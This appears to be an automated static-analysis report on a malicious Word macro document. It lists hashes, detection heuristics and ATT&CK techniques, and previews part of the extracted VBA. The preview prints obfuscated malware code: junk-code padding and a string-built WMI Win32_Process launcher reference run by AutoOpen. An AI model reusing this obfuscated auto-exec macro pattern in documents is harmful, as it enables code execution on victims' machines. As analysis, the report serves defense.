Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 da8fb04d0fd7b7e6…

MALICIOUS

Office (OLE)

280.5 KB Created: 2019-02-21 10:20:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 77a1ba1d2eb5abfe45cd6620c24391e7 SHA-1: af7f0d24eeeb6ff280b83d20f569f180974ae4d3 SHA-256: da8fb04d0fd7b7e66f34238b9150ce89db77f5952e2c863252f3d8feeb91602e
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains legacy WordBasic auto-exec markers and a critical heuristic firing for VBA WMI Win32_Process launcher, indicating it attempts to execute arbitrary code. The presence of an AutoOpen macro and GetObject calls further supports this. The VBA script is heavily obfuscated, but the heuristics strongly suggest it is designed to launch a malicious process.

Heuristics 8

  • ClamAV: Doc.Malware.Dpzn-6865027-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dpzn-6865027-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58854 bytes
SHA-256: ac8cbadb3bc2c9fe8197efecd48a9376da1e4d871670af02c793a6275641db54
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "H8______"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c_8_292_"
Function f8_192()
   Select Case b977720
         Case 714565882
            l6_22_ = Log(z3345_03)
            E244790 = CDate(793893044)
            o_4_6__6 = Fix(227058334 + 889523752 + H33544 - Oct(278300773))
            M9292_7_ = Cos(182493656 - Sqr(454342509 - Atn(281548076)) - 964875412 + 908457567)
End Select
   Select Case O___376
         Case 757299204
            p81015 = Log(s525__)
            i_4_280 = CDate(725161559)
            q5__76_ = Fix(275522586 + 974143470 + F7020_ - Oct(880825679))
            t_0__98_ = Cos(15733644 - Sqr(288751561 - Atn(845593592)) - 303681056 + 71907794)
End Select
   Select Case w08__3__
         Case 102844623
            f__4039 = Log(E938__40)
            w2568_ = CDate(60642861)
            H2_2218 = Fix(200110315 + 818712339 + n_1705 - Oct(522231565))
            A_12__ = Cos(242924712 - Sqr(291919311 - Atn(475520194)) - 221371668 + 361011660)
End Select
   Select Case w960_9
         Case 448856026
            k2__4357 = Log(N5_871)
            N890__99 = CDate(899131835)
            E4189__8 = Fix(586169458 + 22501734 + I_680_ - Oct(70314476))
            B_3_315_ = Cos(273518850 - Sqr(654302953 - Atn(253667089)) - 649470622 + 564702631)
End Select
   Select Case A_5629
         Case 621162826
            X829_6 = Log(f_8_9__)
            T9946___ = CDate(10063680)
            p22___ = Fix(532682344 + 679516378 + O05525 - Oct(944377626))
            C6_33__ = Cos(89463014 - Sqr(51095907 - Atn(591266960)) - 262772985 + 773634019)
End Select
   Select Case o2988_0
         Case 756498502
            d08229_7 = Log(i__08_6)
            S_3_71 = CDate(625045512)
            D_01_615 = Fix(495304810 + 417095119 + w40___5_ - Oct(35722276))
            I832601 = Cos(41048450 - Sqr(475171930 - Atn(683024568)) - 950579138 + 399824083)
End Select
   Select Case W23118_
         Case 592590218
            T_858_6 = Log(n067___3)
            n5__072 = CDate(899899900)
            O_1_87 = Fix(774839257 + 342464083 + A_136910 - Oct(299244020))
            T93638 = Cos(2198204 - Sqr(876985549 - Atn(844559344)) - 469649491 + 72663648)
End Select
   Select Case u_6_9_
         Case 847601363
            D16914 = Log(I0772_5)
            O_5__88_ = CDate(281481315)
            X__7345 = Fix(24765202 + 996354236 + o___66 - Oct(832634315))
            F3_91765 = Cos(492692435 - Sqr(894578003 - Atn(738028329)) - 787788672 + 357121752)
End Select
End Function
Function v96_0_6(w406177, z07_716_)
On Error Resume Next
   Select Case Z201_3
         Case 104857704
            w7_15483 = Log(w44_4_5)
            l47_21 = CDate(365483147)
            D_772_6 = Fix(252693761 + 136046854 + V_924__3 - Oct(234285539))
            j5__97 = Cos(723068052 - Sqr(678553567 - Atn(985891470)) - 924868668 + 785975656)
End Select
   Select Case u_2267_6
         Case 392543910
            Q__9526 = Log(W__366_4)
            w_8126 = CDate(737369259)
            K_2_5_ = Fix(741366669 + 544410606 + d_1984 - Oct(4873848))
            k_000279 = Cos(756891059 - Sqr(708844198 - Atn(835798244)) - 245856257 + 551771992)
End Select
n_4_63_ = H73861_9 + "winmgmts:Win32_ProcessStartup" + z9684534
   Select Case t_82_5
         Case 993996957
            F55729 = Log(R_2129)
            t_0_5200 = CDate(457857041)
            M5935_ = Fix(55138501 + 148780816 + m64_3297 - Oct(210237805))
            L2_85_ = Cos(806784543 - Sqr(22102113 - Atn(686948091)) - 656169350 + 32387608)
End Select
   Select Case b8_13_1
         Case 791494462
            B7_0__93 = Log(f514_6)
            b2_0__ = CDate(216114009)
            T0_2_43 = Fix(954231237 + 403439190 + G_78__ - Oct(997701997))
            Z3_0_44 = Cos(53922688 - Sqr(
... (truncated)